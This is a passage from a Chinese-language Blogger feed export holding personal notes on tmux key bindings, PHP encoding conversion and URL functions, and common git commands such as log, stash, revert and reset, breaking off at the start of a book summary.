移除目前的pane&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&amp;nbsp;自定key組合&lt;pre class="none" style="font-family: monospace;"&gt;切割視窗還是先設好key,不然還真不用，以下是個人參考網路上的設定&lt;/pre&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;# General configuration.&lt;br /&gt;# $ tmux show-options -g&lt;br /&gt;set -g base-index 1&lt;br /&gt;set -g display-time 5000&lt;br /&gt;set -g repeat-time 1000&lt;br /&gt;set -g status-keys vi&lt;br /&gt;set -g status-utf8 on&lt;br /&gt;set -g status-bg black&lt;br /&gt;set -g status-fg white&lt;br /&gt;set -g status-justify left&lt;br /&gt;set -g status-interval 1&lt;br /&gt;set -g status-left-length 15&lt;br /&gt;set -g status-right-length 55&lt;br /&gt;set -g status-left "#[fg=white,bright,bg=blue] Session #[fg=yellow,bright,bg=blue]#S #[default] |" # session-name&lt;br /&gt;set -g status-right "#[fg=red,bright][ #[fg=cyan]#(git branch --no-color | sed -e '/^[^*]/d' -e 's/* //') #[fg=red]]#[default] #[fg=yellow,bright] %Y-%m-%d #[fg=green]%H:%M:%S #[default]#[fg=magenta,bright]#[default]"&lt;br /&gt;&lt;br /&gt;# using function keyCtrl+A&lt;br /&gt;unbind C-b&lt;br /&gt;set -g prefix ^A&lt;br /&gt;bind a send-prefix&lt;br /&gt;&lt;br /&gt;# split window&lt;br /&gt;unbind %&lt;br /&gt;unbind '"'&lt;br /&gt;bind v split-window -h&lt;br /&gt;bind | split-window -h&lt;br /&gt;bind h split-window -v&lt;br /&gt;bind - split-window -v&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;設好後，重啟config&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;tmux source-file ~/.tmux.conf&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;References&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://blog.hawkhost.com/2010/06/28/tmux-the-terminal-multiplexer/"&gt;TMUX – The Terminal Multiplexer (Part 1)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://josephjiang.com/entry.php?id=373"&gt;進化版 screen - tmux&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4741518696349361813?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4741518696349361813/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4741518696349361813' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4741518696349361813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4741518696349361813'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/12/linux-screetmux.html' title='linux切換多重視窗 - tmux'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7339836568831381308</id><published>2011-10-18T12:20:00.000+08:00</published><updated>2011-10-18T12:20:37.493+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>php轉碼問題</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;利用iconv轉碼會有轉不回來的問題&lt;br /&gt;可用mbstring來轉碼 就不會有問題了&lt;br /&gt;當然apache要先安裝mbstring&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;安裝&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;yum install php-mbstring&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;big5轉utf8&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;mb_convert_encoding($msg, "UTF-8", "BIG-5");&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;配合自動偵測，統一轉utf8&lt;br /&gt;要注意要自己加上可能的碼，不然可能會找不到&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$encoding = mb_detect_encoding($this-&amp;gt;content, "UTF-8,BIG-5,GB2312, ASCII, ISO-8859-1");&lt;br /&gt;$msg = mb_convert_encoding($msg, "UTF-8", $encoding);&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7339836568831381308?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7339836568831381308/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7339836568831381308' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7339836568831381308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7339836568831381308'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/10/php.html' title='php轉碼問題'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-1176549107749376677</id><published>2011-10-13T16:41:00.000+08:00</published><updated>2011-10-18T12:20:49.709+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>php處理url函式</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;組url字串 &lt;br/&gt;利用&lt;a href="http://www.php.net/manual/en/function.http-build-query.php"&gt;http_build_query&lt;/a&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?php&lt;br /&gt;$data = array('foo'=&gt;'bar',&lt;br /&gt;              'baz'=&gt;'boom',&lt;br /&gt;              'cow'=&gt;'milk',&lt;br /&gt;              'php'=&gt;'hypertext processor');&lt;br /&gt;&lt;br /&gt;echo http_build_query($data) . "\n";&lt;br /&gt;echo http_build_query($data, '', '&amp;amp;');&lt;br /&gt;&lt;br /&gt;//前置詞&lt;br /&gt;$data = array('foo', 'bar', 'baz', 'boom', 'cow' =&gt; 'milk', 'php' =&gt;'hypertext processor');&lt;br /&gt;echo http_build_query($data, 'myvar_');  &lt;br /&gt;--&lt;br /&gt;foo=bar&amp;baz=boom&amp;cow=milk&amp;php=hypertext+processor&lt;br /&gt;foo=bar&amp;amp;baz=boom&amp;amp;cow=milk&amp;amp;php=hypertext+processor&lt;br /&gt;myvar_0=foo&amp;myvar_1=bar&amp;myvar_2=baz&amp;myvar_3=boom&amp;cow=milk&amp;php=hypertext+processor&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;解url字串&lt;br/&gt;利用&lt;a href="http://php.net/manual/en/function.parse-str.php"&gt;parse_str&lt;/a&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?php&lt;br /&gt;$str = "first=value&amp;arr[]=foo+bar&amp;arr[]=baz";&lt;br /&gt;parse_str($str);&lt;br /&gt;echo $first;  // value&lt;br /&gt;echo $arr[0]; // foo bar&lt;br /&gt;echo $arr[1]; // baz&lt;br /&gt;&lt;br /&gt;parse_str($str, $output);&lt;br /&gt;echo $output['first'];  // value&lt;br /&gt;echo $output['arr'][0]; // foo bar&lt;br /&gt;echo $output['arr'][1]; // baz&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-1176549107749376677?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/1176549107749376677/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=1176549107749376677' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1176549107749376677'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1176549107749376677'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/10/phpurl.html' title='php處理url函式'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-1426287737600703021</id><published>2011-10-10T22:17:00.001+08:00</published><updated>2011-10-18T12:20:58.545+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><title type='text'>git log</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;一般&lt;ul style="text-align: left;"&gt;&lt;li&gt;查看commit歷程&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;# git log    &lt;br /&gt;# git log --stat  // 更動檔案和異動的行數&lt;br /&gt;# git log &amp;lt;file&amp;gt; //指定檔案&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;排版&lt;ul&gt;&lt;li&gt;圖形化commit歷程&lt;br /&gt;看了沒fu嗎… 用文字圖形化看吧&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;git log --graph            //文字圖示版本&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;異動的內容&lt;br /&gt;即為git diff的內容，太多不寫了，看reference裡有&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$ git log -p&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;一列一版本&lt;br/&gt;查看版本一目瞭然......  前提是commit的message要跟範例一樣清楚的話....&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;git log --pretty=oneline&lt;br /&gt;--&lt;br /&gt;a6b444f570558a5f31ab508dc2a24dc34773825f dammit, this is the second time this has reverted&lt;br /&gt;49d77f72783e4e9f12d1bbcacc45e7a15c800240 modified index to create refs/heads if it is not &lt;br /&gt;9764edd90cf9a423c9698a2f1e814f16f0111238 Add diff-lcs dependency&lt;br /&gt;e1ba1e3ca83d53a2f16b39c453fad33380f8d1cc Add dependency for Open4&lt;br /&gt;0f87b4d9020fff756c18323106b3fd4e2f422135 merged recent changes: * accepts relative alt pat&lt;br /&gt;f0ce7d5979dfb0f415799d086e14a8d2f9653300 updated the Manifest file&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;特定資料夾&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$ git log fs/           # commits that modify any file under fs/&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;搜尋及過濾&lt;ul&gt;&lt;li&gt;用文字找版本&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$ git log -S'foo()'     # commits that add or remove any file data matching the string 'foo()'&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;最近二周&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$ git log --since="2 weeks ago" # commits from the last 2 weeks&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;其他還有--after, --until, and --before&lt;/li&gt;&lt;li&gt;不要顯示merge的版本&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$ git log --no-merges&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;其他&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;$ git log v2.5..        # commits since (not reachable from) v2.5&lt;br /&gt;$ git log test..master  # commits reachable from master but not test&lt;br /&gt;$ git log master..test  # commits reachable from test but not master&lt;br /&gt;$ git log master...test # commits reachable from either test or&lt;br /&gt;                        #    master, but not both&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;References&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://book.git-scm.com/3_reviewing_history_-_git_log.html"&gt;Reviewing History - Git Log&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://gitready.com/advanced/2009/01/20/bend-logs-to-your-will.html"&gt;bend logs to your will&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-1426287737600703021?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/1426287737600703021/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=1426287737600703021' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1426287737600703021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1426287737600703021'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/10/git-log.html' title='git log'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-620749974533037680</id><published>2011-10-09T16:18:00.002+08:00</published><updated>2011-10-18T12:21:50.065+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><title type='text'>git stash 暫存</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;當要checkout b branch時，當下a branch的資料如果未commit就會連當被帶過去b branch&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;//假設有a, b branches且都有file1內容為1-1&lt;br /&gt;# echo '1-2' &amp;gt; file1&lt;br /&gt;# git checkout b&lt;br /&gt;M       file1&lt;br /&gt;Switched to branch 'b'&lt;br /&gt;# cat file1&lt;br /&gt;1-2&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;丟入暫存&lt;br/&gt;但如果未完成又不想commit時 可利用git stash&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;# echo '1-2' &amp;gt; file1&lt;br /&gt;# git stash &lt;br /&gt;# cat file1&lt;br /&gt;1-1     &amp;lt;-- 被reset, 這時就可以切換&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;取出&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;# git stash pop&lt;br /&gt;# cat file1&lt;br /&gt;1-2     &amp;lt;--再被改為stash的內容&lt;/pre&gt;&lt;/div&gt;git stash可重覆使用，用法如stack多下個幾次就堆疊起來，取法一樣pop囉&lt;/li&gt;&lt;/ul&gt;更多指令&lt;br /&gt;&lt;ul&gt;&lt;li&gt;git stash list (列出stash的清單)&lt;br/&gt;&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;# git stash list &lt;br /&gt;stash@{0}: WIP ...   //第1個暫存 &lt;br /&gt;stash@{1}: WIP ...   //第2個暫存&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;git stash pop (取出暫存)&lt;div class="code"&gt;&lt;pre class="brush:php"&gt;&lt;br /&gt;   # git stash pop     // pop out 最後進入的stash&lt;br /&gt;   # git stash apply  // 跟pop一樣. 但不會清掉stash&lt;br /&gt;   # git stash apply stash@{1} //取出陣列1的stash&lt;br /&gt;   # git stash drop stash@{1} //刪掉，不套用&lt;br /&gt;   # git stash clear   // 不用解釋吧...&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-620749974533037680?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/620749974533037680/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=620749974533037680' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/620749974533037680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/620749974533037680'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/10/git-stash.html' title='git stash 暫存'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-9200730926579110012</id><published>2011-10-09T15:20:00.001+08:00</published><updated>2011-12-02T11:28:03.029+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><title type='text'>git還原 - revert, reset</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;回復至最近一次commit&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$ git reset --hard HEAD&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;把修改過的單一檔案回到未修改狀態&lt;br /&gt;有三種方法&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$ git checkout hello.txt&lt;br /&gt;$ git checkout -- hello.txt&lt;br /&gt;$ git checkout HEAD hello.txt&lt;br /&gt;$ git checkout -f hello.txt&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;一、二相同、三、四相同，前後者的差別在於前二者是從staging取出，不是從最後的版本取出&lt;br /&gt;ex. 假設HEAD的hello.txt 如果為hello all&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$ echo 'hi all' &amp;gt; hello.txt  //這時三者皆相同&lt;br /&gt;$ git add .  //這時前二者取到hi all,後二者取到hello all&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;回復特定版本&lt;br /&gt;雖說是回復，但其實是將指定的版本新增為最新的commit&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$ git revert commit_name&lt;/pre&gt;&lt;/div&gt;不過通常回復到舊版本，是要繼續往下開發 &lt;br /&gt;所以勢必得再一次commit&lt;br /&gt;所以如果只是要回復且不要commit 可以加 -n or --no-commit&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$ git revert -n commit_name&lt;/pre&gt;&lt;/div&gt;如果要修改的話 得commit或放棄，否則沒辦法回復&lt;br /&gt;&lt;ul&gt;&lt;li&gt;fatal: Commit 137ea95 is a merge but no -m option was given.&lt;br /&gt;因為該commit為合併，所以得指定要回復的branch (-m or --mainline option)搭配數字 1 or 2 指定第幾個commit&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;改變最後一次的 Commit的訊息&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;git commit –amend (改git log的內容)&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;References&lt;a href="http://book.git-scm.com/4_undoing_in_git_-_reset,_checkout_and_revert.html"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://book.git-scm.com/4_undoing_in_git_-_reset,_checkout_and_revert.html"&gt;Undoing in Git - Reset, Checkout and Revert&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;a href="http://gitready.com/intermediate/2009/03/16/rolling-back-changes-with-revert.html"&gt;rolling back changes with revert&amp;nbsp;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://fionyeh.blogspot.com/2011/04/git-reset-git-revert.html"&gt;git reset 與 git revert 傻傻分不清礎&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-9200730926579110012?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/9200730926579110012/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=9200730926579110012' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9200730926579110012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9200730926579110012'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/10/git.html' title='git還原 - revert, reset'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-9019407117633791075</id><published>2011-10-08T09:21:00.003+08:00</published><updated>2011-10-18T12:22:04.596+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><title type='text'>git 常見問題</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;程式改爛了，怎麼還原&lt;br /&gt;&lt;ul&gt;&lt;li&gt;還原單一檔案&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git checkout hello.txt&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;整個還原到最後commit版本&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git reset --hard HEAD&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;只會還原上一版本有加入track的檔，還沒加入的新檔不會變更&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;回復特定版本&lt;br/&gt;雖說是回覆，但其實是將指定的版本新增為最新的commit &lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git revert commit_name&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;衝突了！怎麼解&lt;br /&gt;打開confilct的檔案&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HEAD&lt;br /&gt;目前的版本&lt;br /&gt;---------------------&lt;br /&gt;上一個版本&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; 版本碼&lt;br /&gt;只要看哪個正確，改正就可以了&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;要切換branch，還不想commit&lt;ol&gt;&lt;li&gt;先丟到暫存區&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git stash&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;這時會回到最後commit的結果&lt;br /&gt;不過未經commit的新檔不會改變，也不會被刪除&lt;/li&gt;&lt;li&gt;取回暫存&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git stash pop&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;圖示commit版本&lt;ul&gt;&lt;li&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git log --graph&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;commit後，想修改message &lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git commit --amend&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;新增remote&lt;ul&gt;&lt;li&gt;查目前所有的remote點&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git remote -v&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;新增remote點&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git remote add remote別名 repository的url位置&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;移除remote點&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;$ git remote rm remote名&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;checkout某版本或分支的特定檔&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;git checkout SHA-1 --  FILE_PATH&lt;br /&gt;git checkout BRANCH_NAME -- FILE_PATH&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-9019407117633791075?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/9019407117633791075/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=9019407117633791075' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9019407117633791075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9019407117633791075'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/10/git-faq.html' title='git 常見問題'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-1254536854869416631</id><published>2011-09-24T15:12:00.000+08:00</published><updated>2011-09-26T09:45:16.490+08:00</updated><title type='text'>書：老闆不說卻默默察的45件事</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;div class="separator" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;"&gt;&lt;img border="0" src="http://im1.book.com.tw/exep/lib/image.php?image=http://addons.books.com.tw/G/001/0/0010500860.jpg&amp;amp;width=200&amp;amp;height=280&amp;amp;quality=80" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;滿不錯的書，很適合工作一陣子，遇到瓶頸的人&lt;br /&gt;讀完也發覺自己採了不少地雷，趁還年輕好好的糾正自己的態度把45件事都寫下來，隨時自己反省一下&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;好人不升官？誰叫你踩到九大地雷&lt;ol&gt;&lt;li&gt;總是把NO留給老闆說&lt;/li&gt;&lt;li&gt;熱心？野心？失職分不清&amp;nbsp;&lt;/li&gt;&lt;li&gt;成為公司中的岳飛型人物&lt;/li&gt;&lt;li&gt;以「很會問問題」自豪&lt;/li&gt;&lt;li&gt;喜歡亂猜就出局&lt;/li&gt;&lt;li&gt;英文好，沒什麼了不起？&lt;/li&gt;&lt;li&gt;分不出應該做的與想做的&lt;/li&gt;&lt;li&gt;堅持，堅持，再堅持&lt;/li&gt;&lt;li&gt;倚老賣老，危險啊！&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;這些眉角，都很重要&lt;ol&gt;&lt;li&gt;Happy 